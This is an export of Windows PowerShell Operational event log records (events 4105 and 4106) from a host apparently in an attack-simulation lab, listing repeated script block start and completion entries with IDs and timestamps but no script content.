RecordNumber=2050356
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050339
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050334
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050333
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050311
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050309
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050308
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
